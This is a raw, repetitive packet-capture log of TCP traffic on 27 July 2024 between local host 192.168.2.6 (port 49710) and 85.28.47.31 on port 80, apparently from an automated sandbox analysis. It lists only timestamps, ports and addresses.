Jul 27, 2024 03:19:09.693687916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.693694115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.693706989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.693731070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.693906069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.693921089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.693936110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.693948030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.693975925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.693991899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.694008112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.694021940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.694032907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.694060087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.696876049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.696908951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.696924925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.696938992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.696968079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.696971893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.696988106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.697005033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.697016001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.697021961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.697042942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.697069883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.697210073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.697226048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.697259903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.697277069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.697333097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.697348118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.697364092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.697377920 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.697402000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.697431087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.697447062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.697460890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.697472095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.697499990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.706409931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.706439972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.706456900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.706471920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.706499100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.706497908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.706515074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.706525087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.706541061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.706553936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.706554890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.706572056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.706578016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.706607103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.706903934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.706950903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.707010031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.707026958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.707052946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.707053900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.707071066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.707072020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.707087040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.707091093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.707109928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.707113028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.707127094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.707133055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.707145929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.707150936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.707165956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.707182884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.707777023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.707834959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.738590002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.738639116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.738656044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.738656044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.738673925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.738686085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.738708973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.738763094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.738779068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.738795996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.738801956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.738831997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.738863945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.738878965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.738895893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.738909960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.738936901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.749510050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.749552011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.749568939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.749596119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.749605894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.749610901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.749628067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.749635935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.749645948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.749654055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.749671936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.749696970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.749699116 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.749717951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.749732018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.749751091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.749928951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.749963045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.749968052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.750003099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.750004053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.750020027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.750036001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.750039101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.750050068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.750068903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.750113010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.750128984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.750144958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.750147104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.750163078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.750164986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.750181913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.750184059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.750195980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.750215054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.750957012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.751007080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756091118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756119967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756136894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756143093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756155968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756160021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756174088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756181002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756191969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756192923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756211042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756216049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756236076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756247044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756356001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756371975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756388903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756406069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756419897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756453991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756469965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756501913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756515980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756515980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756520987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756540060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756542921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756563902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756573915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756779909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756807089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756823063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756831884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756844044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756864071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756906986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756922007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756937981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756952047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756953001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.756973028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.756999969 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.768505096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.768546104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.768563986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.768567085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.768589020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.768611908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.768796921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.768814087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.768830061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.768846035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.768847942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.768866062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.768870115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.768898964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.768925905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.769515038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.769531965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.769547939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.769563913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.769563913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.769578934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.769592047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.769596100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.769620895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.769639015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.782854080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.782876015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.782892942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.782907009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.782918930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.782922029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.782943010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.782955885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.782995939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.783216000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.783238888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.783253908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.783263922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.783271074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.783286095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.783299923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.783314943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.783322096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.783371925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.783380032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.783394098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.783407927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.783420086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.783421040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.783440113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.783459902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.783492088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.783968925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.784035921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.784076929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.784128904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.793008089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793073893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.793104887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793121099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793137074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793145895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.793153048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793168068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793171883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.793184996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793215036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.793234110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.793253899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793268919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793283939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793303013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.793332100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.793339968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793354988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793370008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793384075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793396950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.793426037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.793927908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793943882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793958902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793976068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.793986082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.794025898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.794418097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.794434071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.794449091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.794467926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.794473886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.794490099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.794504881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.794507980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.794521093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.794538021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.794548988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.794576883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.795017958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.795070887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.795092106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.795137882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.827276945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.827336073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.827362061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.827379942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.827394009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.827410936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.827425003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.827433109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.827529907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.827579021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.838011026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838047028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838063955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838078022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838129997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838135004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.838145971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838161945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.838164091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838176966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.838177919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838222980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.838282108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838329077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.838332891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838350058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838367939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838376045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.838393927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.838406086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.838654995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838670969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838687897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838705063 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.838712931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838726997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.838727951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838746071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838753939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.838762045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838784933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.838788033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838803053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838809967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.838819027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.838840008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.838865042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.844943047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.844980955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.844995975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845019102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.845021009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845036983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845036983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.845062017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845067024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.845078945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845093012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:09.845096111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845112085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:09.845113993 CEST	49710	80	192.168.2.6	85.28.47.31
